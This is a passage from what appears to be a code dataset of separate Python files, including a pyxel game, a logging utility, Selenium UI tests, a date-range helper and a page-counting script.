self.goldenapplelist:\r\n pyxel.blt(goldenapple.x,goldenapple.y, 1, 35, 0, 5, 7, 0)\r\n\r\n def applecollide(self):\r\n # good apple collision detection\r\n for apple in self.applelist:\r\n if apple.x + 2 >= self.player.x and apple.x + 2 <= self.player.x + self.player.width:\r\n if apple.y + 3 >= self.player.y and apple.y + 3<= self.player.y + self.player.height:\r\n pyxel.play(0,2,loop=False)\r\n self.applelist.remove(apple)\r\n self.player.score += 1\r\n self.atebadapple = False\r\n self.totalapples += 1\r\n\r\n # bad apple collision detection\r\n for badapple in self.badapplelist:\r\n if badapple.x + 2 >= self.player.x and badapple.x + 2 <= self.player.x + self.player.width:\r\n if badapple.y + 3 >= self.player.y and badapple.y + 3 <= self.player.y + self.player.height:\r\n\r\n if self.caneat == False:\r\n # update the highscore\r\n if self.player.score > self.highscore:\r\n self.highscore = self.player.score\r\n with open(path.join(self.dir, \"applepickerhs\"), 'w') as f:\r\n f.write(str(self.player.score))\r\n\r\n pyxel.play(0,1,loop=False)\r\n self.badapplelist.remove(badapple)\r\n self.player.score = 0\r\n self.totalapples = 0\r\n self.totalgoldenapples = 0\r\n self.totalbadapples = 0\r\n self.atebadapple = True\r\n\r\n if self.caneat == True:\r\n pyxel.play(0,2)\r\n self.badapplelist.remove(badapple)\r\n self.player.score += 2\r\n self.totalbadapples += 1\r\n\r\n\r\n # golden apple collision detection\r\n for goldenapple in self.goldenapplelist:\r\n if goldenapple.x + 2 >= self.player.x and goldenapple.x + 2 <= self.player.x + self.player.width:\r\n if goldenapple.y + 3 >= self.player.y and goldenapple.y + 3 <= self.player.y + self.player.height:\r\n pyxel.play(0,2)\r\n self.player.score += 5\r\n self.totalgoldenapples += 1\r\n self.goldenapplelist.remove(goldenapple)\r\n self.caneat = True\r\n self.ateapple = pyxel.frame_count\r\n\r\n def draw_score(self):\r\n # draw the mini apples in the top right corner\r\n for x in range(0,self.totalapples + 1):\r\n x *= 3\r\n pyxel.pix(WIDTH - x, 3, 8)\r\n pyxel.pix(WIDTH - x + 1, 3, 8)\r\n pyxel.pix(WIDTH - x, 4, 8)\r\n pyxel.pix(WIDTH - x + 1, 4, 8)\r\n pyxel.pix(WIDTH - x + 1, 2, 11)\r\n\r\n for x in range(0,self.totalgoldenapples + 1):\r\n x *= 3\r\n pyxel.pix(WIDTH - x, 7, 10)\r\n pyxel.pix(WIDTH - x + 1, 7, 10)\r\n pyxel.pix(WIDTH - x, 8, 10)\r\n pyxel.pix(WIDTH - x + 1, 8, 10)\r\n pyxel.pix(WIDTH - x + 1, 6, 11)\r\n\r\n for x in range(0, self.totalbadapples + 1):\r\n x *= 3\r\n pyxel.pix(WIDTH - x, 11, 0)\r\n pyxel.pix(WIDTH - x + 1, 11, 0)\r\n pyxel.pix(WIDTH - x, 12, 0)\r\n pyxel.pix(WIDTH - x + 1, 12, 0)\r\n pyxel.pix(WIDTH - x + 1, 10, 7)\r\n\r\n def draw(self):\r\n\r\n global intro\r\n if intro:\r\n pyxel.cls(12)\r\n pyxel.blt(52, 62, 1, 0, 56, 96, 36, 0)\r\n pyxel.text(2, HEIGHT - 15, \"A game by Will Larson\", 7)\r\n pyxel.text(2, HEIGHT - 7, \"Press space to start\", 7)\r\n pyxel.text(WIDTH - 60,HEIGHT - 7,\"HIGHSCORE: \" + str(self.highscore), 7)\r\n pyxel.text(2, 2, \"Version \" + version, 7)\r\n self.draw_player()\r\n\r\n if not intro:\r\n pyxel.cls(12)\r\n # Draw score\r\n self.draw_score()\r\n pyxel.text(2,HEIGHT - 7,\"SCORE: \" + str(self.player.score), 7)\r\n if self.atebadapple == True:\r\n pyxel.text(2, HEIGHT - 15, \"You ate a bad apple!\", 8)\r\n pyxel.text(WIDTH - 60, HEIGHT - 7, \"HIGHSCORE: \" + str(self.highscore), 7)\r\n self.draw_apple()\r\n self.draw_bad_apple()\r\n self.draw_golden_apple()\r\n\r\n if self.caneat == True:\r\n if pyxel.frame_count - self.ateapple <= 165:\r\n pyxel.text(2, HEIGHT - 15, \"Eat the bad apples!\", 10)\r\n elif 165 < pyxel.frame_count - self.ateapple < 210:\r\n pyxel.text(2, HEIGHT - 15, \"Eat the bad apples!\", 9)\r\n\r\n self.draw_player()\r\n\r\n def events(self):\r\n global intro\r\n\r\n self.spawn_apple()\r\n self.spawn_bad_apple()\r\n self.spawn_golden_apple()\r\n self.applecollide()\r\n\r\n # player movement\r\n if pyxel.btn(pyxel.KEY_LEFT) or pyxel.btn(pyxel.KEY_A):\r\n self.player.x -= PLAYER_SPEED\r\n self.facingright = False\r\n if pyxel.btn(pyxel.KEY_RIGHT) or pyxel.btn(pyxel.KEY_D):\r\n self.player.x += PLAYER_SPEED\r\n self.facingright = True\r\n if pyxel.btn(pyxel.KEY_UP) or pyxel.btn(pyxel.KEY_W):\r\n self.player.y -= PLAYER_SPEED\r\n self.flying = True\r\n if pyxel.btn(pyxel.KEY_DOWN) or pyxel.btn(pyxel.KEY_S):\r\n self.player.y += PLAYER_SPEED\r\n if pyxel.btn(pyxel.KEY_B):\r\n self.race = False\r\n\r\n if pyxel.btnr(pyxel.KEY_UP) or pyxel.btnr(pyxel.KEY_W):\r\n self.flying = False\r\n\r\n # easter egg\r\n if pyxel.btn(pyxel.KEY_E):\r\n self.race = True\r\n\r\n # boundaries\r\n if self.player.x < 0:\r\n self.player.x = 0\r\n if self.player.x > WIDTH - self.player.width:\r\n self.player.x = WIDTH - self.player.width\r\n if self.player.y < 0:\r\n self.player.y = 0\r\n if self.player.y > HEIGHT - self.player.height:\r\n self.player.y = HEIGHT - self.player.height\r\n\r\n for b in self.badapplelist:\r\n if b.x < 0:\r\n b.x = 0\r\n b.xspeed *= -1\r\n if b.x > WIDTH - 5:\r\n b.x = WIDTH - 5\r\n b.xspeed *= -1\r\n if b.y < 0:\r\n b.y = 0\r\n b.yspeed *= -1\r\n if b.y > HEIGHT - 5:\r\n b.y = HEIGHT - 5\r\n b.yspeed *= -1\r\n\r\n for b in self.goldenapplelist:\r\n if b.x < 0:\r\n b.x = 0\r\n b.xspeed *= -1\r\n if b.x > WIDTH - 5:\r\n b.x = WIDTH - 5\r\n b.xspeed *= -1\r\n if b.y < 0:\r\n b.y = 0\r\n b.yspeed *= -1\r\n if b.y > HEIGHT - 5:\r\n b.y = HEIGHT - 5\r\n b.yspeed *= -1\r\n\r\n # let the player eat the bad apples\r\n if self.caneat == True:\r\n # 210 frames = 7 seconds\r\n if pyxel.frame_count - self.ateapple > 210:\r\n self.caneat = False\r\n\r\n # make the golden apple time out\r\n if self.goldenapplelist:\r\n if pyxel.frame_count - self.goldennow > 150:\r\n self.goldenapplelist.clear()\r\n\r\n # increasing difficulty based on score\r\n self.maxapple = (self.player.score + 5)//10\r\n\r\n # start screen\r\n if pyxel.btn(pyxel.KEY_SPACE):\r\n intro = False\r\n\r\n def update(self):\r\n self.events()\r\n\r\n # move the moving apples\r\n for b in self.badapplelist:\r\n b.x += b.xspeed\r\n b.y += b.yspeed\r\n\r\n for b in self.goldenapplelist:\r\n b.x += b.xspeed\r\n b.y += b.yspeed\r\n\r\n if pyxel.btn(pyxel.KEY_ESCAPE):\r\n pyxel.quit()\r\n\r\nApp()\r\n","sub_path":"applepicker.py","file_name":"applepicker.py","file_ext":"py","file_size_in_byte":13055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497696524","text":"class InputStructure:\n def __init__(self):\n self.description = \"\"\n self.name = \"Fill me in\"\n self.version = \"1.0\"\n self.internal = False\n self.opaque_address_map = True\n self.author = \"\"\n self.display_name = \"Fill me in\"\n self.model_abbreviation = \"Fill me in\"\n self.inst_in_sys_mod = True\n self.editable = True\n self.report_to_talkback = False\n self.allow_greybox_generation = False\n self.report_hierarchy = False\n self.additional_module_properties = []\n self.custom_components = []\n\n self.quartus_path = \"\"\n self.quartus_version = \"\"\n self.quartus_synth_top_level = \"Fill me in\"\n self.enable_rel_inc_paths = False\n self.enable_file_overwrite = False\n self.vhdl_top_level_file = \"Fill me in\"\n self.additional_filesets = []\n\n self.parameters = []\n\n self.compatible_flag = \"Fill me in\"\n self.group = \"Fill me in\"\n self.vendor = \"fe\"\n self.target_system = \"\"\n\n self.clock_rate = 0\n self.clock_abbrev = \"clk\"\n\n self.has_avalon_mm_slave_signal = True\n self.avalon_mm_slave_signal_name = \"Fill me in (or not)\"\n self.data_bus_size = 32\n self.address_bus_size = 0\n\n self.has_sink_signal = True\n self.sink_signal_name = \"Fill me in (or not)\"\n self.sink_signal_port_names_and_widths = {} #{\"channel\": 2, \"data\": 32, \"error\": 3, \"valid\": 1}\n self.sink_max_channel = 0\n\n self.has_source_signal = True\n self.source_signal_name = \"Fill me in (or not)\"\n self.source_signal_port_names_and_widths = {} #{\"channel\": 2, \"data\": 32, \"error\": 3, \"valid\": 1}\n self.source_max_channel = 0\n","sub_path":"vhdl/input_structure.py","file_name":"input_structure.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"191274941","text":"\n# coding: utf-8\n# Purpose:log工具\n# Author:jiyanjiao 2019-8-8\n\nimport logging\nimport os\nimport shutil\nimport sys\nimport time\nfrom colorama import Fore, Style\nfrom LogUtils.configutil import ConfigParser\n\n\nclass LoggerUtil:\n \"\"\"log工具类\"\"\"\n # 获取当前工程的路径\n project_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n # 配置文件的路径\n ini_path = project_path + \"\\\\logUtils\\\\config.ini\"\n # Log存放的路径\n log_path = project_path + \"\\\\Logs\\\\\"\n \n def __new__(cls):\n # 判断属性是否存在\n if hasattr(cls, \"ins\"):\n return cls.ins\n # 不存在就创建对象(保证无论实例几次均只有一个对象)\n cls.ins = super(LoggerUtil, cls).__new__(cls)\n # logger的一些初始设置\n LoggerUtil.init_instance(cls.ins)\n \n ins = cls.ins\n # 返回这个对象\n return ins\n \n def __init__(self):\n pass\n \n @staticmethod\n def init_instance(ins):\n # 清除log文件\n LoggerUtil.clear_log_file_path(ins)\n # 创建log路径\n LoggerUtil.create_log_path(ins)\n # 设置log类型\n LoggerUtil.set_logger_type(ins)\n \n @staticmethod\n def clear_log_file_path(ins):\n if ins.is_exists(LoggerUtil.log_path):\n ins.clear_data(LoggerUtil.log_path)\n \n @staticmethod\n def set_consle_logger(ins):\n # 控制台输出日志\n ins.consle = logging.StreamHandler()\n ins.file_logger.addHandler(ins.consle)\n \n @staticmethod\n def set_logger_type(ins):\n # 设置log输出格式\n ins.logger = logging.getLogger(\"log_in_file\")\n # 对输出格式化进行了重新定义(fileName), methodName, lineNo\n ins.formatter = logging.Formatter('%(asctime)s - %(fileName)s - %(methodName)s - %(lineNo)s - %(message)s')\n # ' %(levelname)s - %(message)s')\n \n if LoggerUtil.read_config(\"log_type\") == '1':\n # 1 文件输出\n LoggerUtil.log_in_file(ins)\n elif LoggerUtil.read_config(\"log_type\") == '2':\n # 2 控制台输出\n LoggerUtil.log_in_consle(ins)\n elif LoggerUtil.read_config(\"log_type\") == '3':\n # 3 控制台与文件均输出\n LoggerUtil.log_in_file(ins)\n LoggerUtil.log_in_consle(ins)\n \n @staticmethod\n def log_in_file(ins):\n # 文件输出\n ins.file_handle = logging.FileHandler(ins.log_file, 'a', encoding='utf-8')\n ins.file_handle.setFormatter(ins.formatter)\n \n # 指定最低的日志级别 critical > error > warning > info > debug\n ins.logger.setLevel(logging.DEBUG)\n ins.logger.addHandler(ins.file_handle)\n \n @staticmethod\n def log_in_consle(ins):\n # 控制台输出\n # 指定最低的日志级别 critical > error > warning > info > debug\n ins.logger.setLevel(logging.DEBUG)\n ins.consle_handler = logging.StreamHandler()\n ins.consle_handler.setFormatter(ins.formatter)\n ins.logger.addHandler(ins.consle_handler)\n \n @staticmethod\n def create_log_path(ins):\n # log存放路径\n if not LoggerUtil.is_exists(LoggerUtil.log_path):\n LoggerUtil.mik_dirs(LoggerUtil.log_path)\n # log存放名称\n ins.log_file = LoggerUtil.log_path + \"{}.{}\".format(time.strftime(\"%Y-%m-%d\", time.localtime()), 'log')\n LoggerUtil.mik_file(ins.log_file)\n \n @staticmethod\n def debug(msg):\n # 对输出格式化进行了定义\n # Fore 定义输出的颜色debug - -white,info - -green,warning / error / critical - -red\n LoggerUtil.ins.logger.setLevel(logging.DEBUG)\n LoggerUtil.ins.logger.debug(Fore.WHITE + 'DEBUG - ' + msg + Style.RESET_ALL,\n extra={'fileName': LoggerUtil._findCaller()[0],\n 'methodName': LoggerUtil._findCaller()[2],\n 'lineNo': LoggerUtil._findCaller()[1]})\n \n @staticmethod\n def info(msg):\n LoggerUtil.ins.logger.setLevel(logging.INFO)\n LoggerUtil.ins.logger.info(Fore.GREEN + 'INFO - ' + msg,\n extra={'fileName': LoggerUtil._findCaller()[0],\n 'methodName': LoggerUtil._findCaller()[2],\n 'lineNo': LoggerUtil._findCaller()[1]})\n \n @staticmethod\n def error(msg):\n LoggerUtil.ins.logger.setLevel(logging.ERROR)\n LoggerUtil.ins.logger.error(Fore.RED + 'ERROR : \\n' + msg,\n extra={'fileName': LoggerUtil._findCaller()[0],\n 'methodName': LoggerUtil._findCaller()[2],\n 'lineNo': LoggerUtil._findCaller()[1]})\n \n @staticmethod\n def warn(msg):\n LoggerUtil.ins.logger.setLevel(logging.WARN)\n LoggerUtil.ins.logger.warn(Fore.RED + 'WARN : \\n' + msg,\n extra={'fileName': LoggerUtil._findCaller()[0],\n 'methodName': LoggerUtil._findCaller()[2],\n 'lineNo': LoggerUtil._findCaller()[1]})\n \n @staticmethod\n def close_logger():\n # 移除handle\n if LoggerUtil.read_config(\"log_type\") == '1':\n LoggerUtil.ins.logger.removeFilter(LoggerUtil.ins.file_handle)\n elif LoggerUtil.read_config(\"log_type\") == '2':\n LoggerUtil.ins.logger.removeHandler(LoggerUtil.ins.consle_handler)\n elif LoggerUtil.read_config(\"log_type\") == '3':\n LoggerUtil.ins.logger.removeHandler(LoggerUtil.ins.consle_handler)\n LoggerUtil.ins.logger.removeFilter(LoggerUtil.ins.file_handle)\n \n @staticmethod\n def is_exists(path):\n \"\"\"\n 判断文件夹是否存在\n :param path:文件夹路径\n :return: True 或者False\n \"\"\"\n is_exist = os.path.exists(path)\n return is_exist\n \n @staticmethod\n def clear_data(path, duration=0):\n \"\"\"\n 清除一些过期数据\n :param path: 清除的文件夹路径\n :param duration: 清除的时间间隔 单位小时\n \"\"\"\n time_now = time.time()\n for root, dirs, files in os.walk(path):\n for name in files:\n modify_time = os.stat(os.path.join(root, name)).st_ctime\n if time_now - modify_time > 60 * 60 * duration:\n try:\n os.remove(os.path.join(root, name))\n except Exception as e:\n print(\"删除文件异常\", e)\n \n for dirname in dirs:\n modify_time = os.path.getctime(os.path.join(root, dirname))\n if (time_now - modify_time) > 60 * 60 * duration:\n try:\n shutil.rmtree(os.path.join(root, dirname))\n except Exception as e:\n print(\"删除文件夹异常\", e)\n \n @staticmethod\n def mik_file(file_name):\n \"\"\"\n 创建文件\n :param file_name: 文件名称\n :return: 文件名称及路径\n \"\"\"\n is_exist = LoggerUtil.is_exists(file_name)\n if not is_exist:\n try:\n file = open(file_name, \"a+\")\n except Exception as e:\n print(\"io异常:\", e.args)\n return file.name\n \n @staticmethod\n def mik_dirs(path):\n \"\"\"\n 创建多层文件夹\n :param path:文件夹路径\n :return:\n \"\"\"\n is_exist = LoggerUtil.is_exists(path)\n if not is_exist:\n os.makedirs(path)\n \n @staticmethod\n def read_config(key, section=\"LOGTYPE\"):\n conf = ConfigParser(LoggerUtil.ini_path)\n return conf.get(section, key)\n \n @staticmethod\n def _currentframe():\n \"\"\"\n 获取当前执行的py文件名称(源码直接复制的)\n \"\"\"\n try:\n raise Exception\n except Exception:\n return sys.exc_info()[2].tb_frame.f_back\n \n @staticmethod\n def _findCaller():\n \"\"\"\n 获取调用者所在的py文件.\n \"\"\"\n project_name = os.getcwd().split('\\\\')[-2:][0]\n f = LoggerUtil._currentframe()\n if f is not None:\n # 对源码进行修改,多加了一个.f_back\n f = f.f_back.f_back\n rv = \"(unknown file)\", 0, \"(unknown function)\"\n while hasattr(f, \"f_code\"):\n co = f.f_code\n filename = os.path.normcase(co.co_filename)\n if filename == logging._srcfile:\n f = f.f_back\n continue\n # log的打印方式为工程的绝对路径名称\n # rv = (co.co_filename, f.f_lineno, co.co_name)\n\n # 对下面方法进行的优化\n index = co.co_filename.find(\"UI_Selenium_OpenCV_Ji\")\n if index != -1:\n pro_names = co.co_filename[index:]\n # 路径中存在左斜杠或者右斜杠,所以均进行替换\n pro_names = pro_names.replace('/', ' - ')\n pro_names = pro_names.replace('\\\\', ' - ')\n \n # pro_list = co.co_filename.split('/')\n # pro_names_list = []\n # for i in range(0, len(pro_list)):\n # if pro_list[i] == project_name:\n # pro_names_list = pro_list[i:]\n # pro_names = ' - '.join(pro_names_list)\n \n # log的打印方式为仅使用工程名字的方式\n rv = (co.co_filename, f.f_lineno, co.co_name)\n break\n return rv\n\n\nif __name__ == '__main__':\n ll = LoggerUtil()\n ll.debug(\"hahhahaha嗯\")\n # ll.info(\"奶奶腿滴\")\n # ll.error(\"哎呀妈呀\")\n ll.close_logger()\n","sub_path":"hy_api_tmp/LogUtils/logutil.py","file_name":"logutil.py","file_ext":"py","file_size_in_byte":9967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180100713","text":"# vim: ai ts=4 sts=4 et sw=4 encoding=utf-8\nimport time\nfrom datetime import datetime, timedelta\nfrom unittest import SkipTest\nfrom framework.base_test import BaseTest, setup_driver, teardown_driver\nfrom framework.exception import CouldNotLocateElementException\nfrom framework.utils.data_fetcher import fetch_, from_\nfrom pages.loginpage.login_page import LoginPage\nfrom testdata.test_data import DATA_WINNER_LOGIN_PAGE\nfrom tests.dataanalysistests.data_analysis_data import PROJECT_NAME, DEFAULT_DATA_FOR_QUESTIONNAIRE, DAILY_DATE_RANGE\nfrom tests.dataextractionapitests.data_extraction_api_data import VALID_CREDENTIALS\n\n@SkipTest\nclass TestDataAnalysisChart(BaseTest):\n @classmethod\n def setUpClass(cls):\n cls.driver = setup_driver()\n cls.global_navigation = cls.prerequisites_of_data_analysis()\n\n @classmethod\n def tearDownClass(cls):\n teardown_driver(cls.driver)\n\n def setUp(self):pass\n\n def tearDown(self):pass\n\n @classmethod\n def go_to_analysis_page(cls, project_name = fetch_(PROJECT_NAME, from_(DEFAULT_DATA_FOR_QUESTIONNAIRE))):\n all_data_page = cls.global_navigation.navigate_to_all_data_page()\n return all_data_page.navigate_to_data_analysis_page(project_name)\n\n @classmethod\n def prerequisites_of_data_analysis(cls):\n cls.driver.go_to(DATA_WINNER_LOGIN_PAGE)\n login_page = LoginPage(cls.driver)\n global_navigation = login_page.do_successful_login_with(VALID_CREDENTIALS)\n return global_navigation\n\n def _go_to_chart_view(self, project_name = fetch_(PROJECT_NAME, from_(DEFAULT_DATA_FOR_QUESTIONNAIRE))):\n analysis_page = self.go_to_analysis_page(project_name)\n analysis_page.go_to_chart_view()\n return analysis_page;\n\n def _filter_data_of_today(self, end_date):\n analysis_page = self._go_to_chart_view()\n analysis_page.open_reporting_period_drop_down()\n analysis_page.date_range_dict[DAILY_DATE_RANGE]()\n today = datetime.today()\n analysis_page.select_date_range(today.year, today.month, today.day, end_date.year, end_date.month, end_date.day)\n time.sleep(1)\n analysis_page.click_go_button()\n return analysis_page;\n\n def test_should_return_chart_info_when_there_are_mc_questions_and_submissions(self):\n expected = \"View charts of your multiple choice questions.\"\n analysis_page = self._go_to_chart_view()\n self.assertEqual(expected, analysis_page.get_chart_info_2_text())\n\n def test_should_return_chart_info_when_there_are_mc_questions_and_no_submissions(self):\n expected = u\"successful submissions will appear here. Learn More\"\n analysis_page = self._go_to_chart_view(project_name=\"clinic2 test project\")\n self.assertTrue(analysis_page.get_chart_info_2_text().find(expected)>=0)\n\n def test_should_return_chart_info_when_there_are_mc_questions_and_no_submissions_after_filtered(self):\n expected = u\"No submissions available for this search. Try changing some of the filters.\"\n analysis_page = self._filter_data_of_today(end_date=datetime.today()-timedelta(1))\n self.assertEqual(analysis_page.get_chart_info_2_text(),expected)\n\n def test_should_return_chart_info_when_there_no_mc_questions(self):\n expected = u\"You do not have any multiple choice questions (Answer Type: List of choices) to display here.\"\n analysis_page = self._go_to_chart_view(project_name=\"clinic test project with monthly reporting period\")\n self.assertEqual(analysis_page.get_chart_info_2_text(),expected)\n\n\n\n def test_should_show_pie_chart_and_bar_chart_for_single_choice_questions(self):\n analysis_page = self._go_to_chart_view()\n self._assert_pie_and_bar_visibilities(analysis_page, 0, True)\n\n analysis_page.show_bar_chart(0)\n self._assert_pie_and_bar_visibilities(analysis_page, 0, False)\n\n analysis_page.show_pie_chart(0)\n self._assert_pie_and_bar_visibilities(analysis_page, 0, True)\n\n def test_should_only_show_bar_chart_for_multiple_choice_questions(self):\n analysis_page = self._go_to_chart_view()\n self._assert_pie_and_bar_visibilities(analysis_page, 1, False)\n\n try:\n analysis_page.show_pie_chart(1)\n self.assertTrue(False)\n except CouldNotLocateElementException as e:\n pass\n\n def test_show_table(self):\n analysis_page = self._go_to_chart_view()\n self.assertIsNotNone(analysis_page.get_table(0))\n try:\n analysis_page.get_multiple_choice_question_explanation(0)\n self.assertTrue(False)\n except CouldNotLocateElementException as e:\n pass\n\n self.assertIsNotNone(analysis_page.get_table(1))\n self.assertIsNotNone(analysis_page.get_multiple_choice_question_explanation(1))\n self.assertIsNotNone(analysis_page.get_table(1))\n self.assertIsNotNone(analysis_page.get_multiple_choice_question_explanation(2))\n\n def _assert_pie_and_bar_visibilities(self, analysis_page, question_index, is_pie_shown):\n pie_chart = analysis_page.get_pie_chart(question_index)\n bar_chart = analysis_page.get_bar_chart(question_index)\n\n self.assertIsNotNone(pie_chart)\n self.assertIsNotNone(bar_chart)\n\n if is_pie_shown:\n self.assertTrue(pie_chart.get_attribute('style').find('display: none;') < 0)\n self.assertTrue(bar_chart.get_attribute('style').find('display: none;') >= 0)\n else:\n self.assertTrue(bar_chart.get_attribute('style').find('display: none;') < 0)\n self.assertTrue(pie_chart.get_attribute('style').find('display: none;') >= 0)","sub_path":"func_tests/tests/dataanalysistests/data_analysis_chart_tests.py","file_name":"data_analysis_chart_tests.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"591802341","text":"import os\nimport cv2\n\n\ncalib_image_dir = r'./calib_images/'\ncalib_batch_size = 32\n\ndef _resize(self, img):\n \"\"\"ai-edge-contest-4th/models/BiSeNet/lib/base_dataset_signate.pyからもってきた\n cityscapesの場合と、signateの場合でアスペクト比が違うのでそのための場合わけ。\n \"\"\"\n if img.shape[1] / img.shape[0] == 2:\n img = cv2.resize(img, (self.resolution, self.resolution // 2))\n elif 1 < img.shape[1] / img.shape[0] < 2:\n img = cv2.resize(img, (self.resolution, self.resolution * 5 // 8))\n else:\n raise ValueError('cityscapes or signate dataset only')\n\n return img\n\n\ndef calib_input(iter):\n images = []\n lines = os.listdir(calib_image_dir)\n for index in range(0, calib_batch_size):\n curline = lines[iter * calib_batch_size + index]\n calib_image_name = curline.strip()\n image = cv2.imread(os.path.join(calib_iamge_dir, calib_image_name))\n image = _resize(image)\n images.append(image)\n\n return {'input': images}\n\n","sub_path":"3rd/platform/model_development/bisenet_v1_0_input_fn.py","file_name":"bisenet_v1_0_input_fn.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296089181","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport calendar\nfrom datetime import date\nfrom datetime import timedelta\n\nfrom DateRanger.utils import get_quarter\nfrom DateRanger.utils import get_monthrange\nfrom DateRanger.exceptions import InvalidDateRange\n\n\nclass DateRange(object):\n\n \"\"\"\n An object for operations(get difference/yield date range) of date range.\n All methods do not include end_date.\n \"\"\"\n\n def __init__(self, start_date, end_date):\n \"\"\"\n Argus:\n start_date - the start date\n end_date - the end date\n \"\"\"\n if start_date > end_date:\n raise InvalidDateRange()\n\n self.start_date = start_date\n self.end_date = end_date\n\n def get_timedelta(self):\n \"\"\"\n Get timedelta of `self.end_date - self.start_date`\n \"\"\"\n return self.end_date - self.start_date\n\n def days(self):\n \"\"\"\n Calcualte the difference in days.\n \"\"\"\n return int(self.get_timedelta().days)\n\n def each_day(self):\n \"\"\"\n Yield each day between start_date and end_date.\n \"\"\"\n for n in xrange(self.days()):\n yield self.start_date + timedelta(n)\n\n def get_weekdelta(self):\n \"\"\"\n Simplify this question by counting weeks between monday1 and monday2.\n\n monday1 - monday of the week of self.start_date\n monday2 - monday of the week of self.end_date\n \"\"\"\n monday1 = (self.start_date - timedelta(days=self.start_date.weekday()))\n monday2 = (self.end_date - timedelta(days=self.end_date.weekday()))\n return (monday2 - monday1).days / 7\n\n def weeks(self):\n \"\"\"\n Return date difference in months.\n \"\"\"\n return self.get_weekdelta()\n\n def each_week(self):\n \"\"\"\n Yield each week between self.start_date and self.end_date\n \"\"\"\n start = (self.start_date - timedelta(days=self.start_date.weekday()))\n for n in xrange(self.weeks() + 1):\n end = start + timedelta(days=7)\n yield (start, end)\n start = end + timedelta(days=1)\n\n def get_monthdelta(self):\n \"\"\"\n Get month delta.\n \"\"\"\n yeardelta = self.get_yeardelta()\n if yeardelta == 0:\n return int(self.end_date.month) - int(self.start_date.month)\n\n monthdelta = (12 - int(self.start_date.month) + 1) + \\\n ((yeardelta - 1) * 12) + int(self.end_date.month)\n return monthdelta\n\n def months(self):\n \"\"\"\n Calcualte the difference in months.\n \"\"\"\n return self.get_monthdelta()\n\n def each_month(self):\n \"\"\"\n Yield each month between self.start_date and self.end_date\n \"\"\"\n start = date(self.start_date.year, self.start_date.month, 1)\n if self.months() == 0:\n days = calendar.monthrange(start.year, start.month)[1]\n end = date(start.year, start.month, days)\n yield (start, end)\n else:\n for n in xrange(self.months()):\n days = calendar.monthrange(start.year, start.month)[1]\n end = date(start.year, start.month, days)\n yield (start, end)\n start = end + timedelta(days=1)\n\n def get_quarterdelta(self):\n \"\"\"\n Calcualte date difference in quraters.\n \"\"\"\n start_quarter = get_quarter(self.start_date.month)\n end_quarter = get_quarter(self.end_date.month)\n yeardelta = self.get_yeardelta()\n if yeardelta == 0:\n return end_quarter - start_quarter\n\n quarterdelta = (4 - start_quarter) + \\\n ((yeardelta - 1) * 4) + end_quarter\n return quarterdelta\n\n def quarters(self):\n \"\"\"\n Return date difference in quraters.\n \"\"\"\n return self.get_quarterdelta()\n\n def each_quarter(self):\n \"\"\"\n Yield each quarter.\n \"\"\"\n quarter = get_quarter(self.start_date.month)\n start_month, end_month = get_monthrange(quarter)\n start = date(self.start_date.year, start_month, 1)\n if self.quarters() == 0:\n days = calendar.monthrange(start.year, start.month + 2)[1]\n end = date(start.year, start.month + 2, days)\n yield (start, end)\n else:\n for n in xrange(self.quarters()):\n days = calendar.monthrange(start.year, start.month + 2)[1]\n end = date(start.year, start.month + 2, days)\n yield (start, end)\n start = end + timedelta(days=1)\n\n def get_yeardelta(self):\n \"\"\"\n Calcualte date difference in years.\n \"\"\"\n return int(self.end_date.year) - int(self.start_date.year)\n\n def years(self):\n \"\"\"\n Return date difference in years.\n \"\"\"\n return self.get_yeardelta()\n\n def each_year(self):\n \"\"\"\n Yield each year.\n \"\"\"\n for n in xrange(self.start_date.year, self.end_date.year + 1):\n start = date(n, 1, 1)\n end = date(n, 12, 31)\n yield (start, end)\n\n def get_range(self):\n \"\"\"\n Return a tuple that contains self.start_date and self.end_date\n \"\"\"\n return (self.start_date, self.end_date)\n","sub_path":"DateRanger/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"86988803","text":"# №8\r\n# В последнем издании британской энциклопедии N страниц,\r\n# на каждой странице стоит ее номер. Сумасшедший наборщик подсчитал,\r\n# что для набора всех номеров страниц понадобилось M литер.\r\n# Ваша задача по данному числу литер M, 1≤M≤10^9, определить число страниц N.\r\n# Число M таково, что ему соответствует некоторое число N.\r\n# Необходимо написать программу принимающую на входе число M, возвращающую число N.\r\n\r\nM = int(input(\"Input number of liters\"))\r\nn = 1\r\n\r\nwhile ((M - 9 * n * (10 ** (n - 1))) >= 0):\r\n M -= 9 * n * (10 ** (n - 1))\r\n n += 1\r\nN = M / n\r\nfor i in range(n-1):\r\n N += (9*(10**(i)))\r\n\r\nif ((N % 10) !=0):\r\n print(\"Not appropriate number of liter. Number of pages is not integer:\",N)\r\nelse:\r\n print(\"Number of pages is\", int(N))\r\n","sub_path":"number of pages.py","file_name":"number of pages.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"309120836","text":"# !/usr/bin/env python\n# coding=utf-8\n\n# Author : Xionghui Chen\n# Created : 2018-01-07\n# Modified : 2018-01-07\n# Version : 1.0\n\nfrom SLBDAO.policy.base import Policy\nfrom SLBDAO.network import Network\nfrom SLBDAO.common.variables import MAX_TRAIN_DATA\nfrom SLBDAO.common.trajectory import Trajectory\nimport gym.spaces\nimport rllab.spaces\nimport numpy as np\nimport tensorflow as tf\nfrom SLBDAO.exploration_strategies import ou_strategy\n\nclass SinglePolicy(Policy):\n\n def __init__(self, policy_type, session, policy_name, ob_space, ac_space, is_continuous, network_creator, tester):\n self.policy_type = policy_type\n self.sess = session\n self.policy_name = policy_name\n self.ob_space = ob_space\n self.ac_space = ac_space\n self.is_continuous = is_continuous\n self.network_creator = 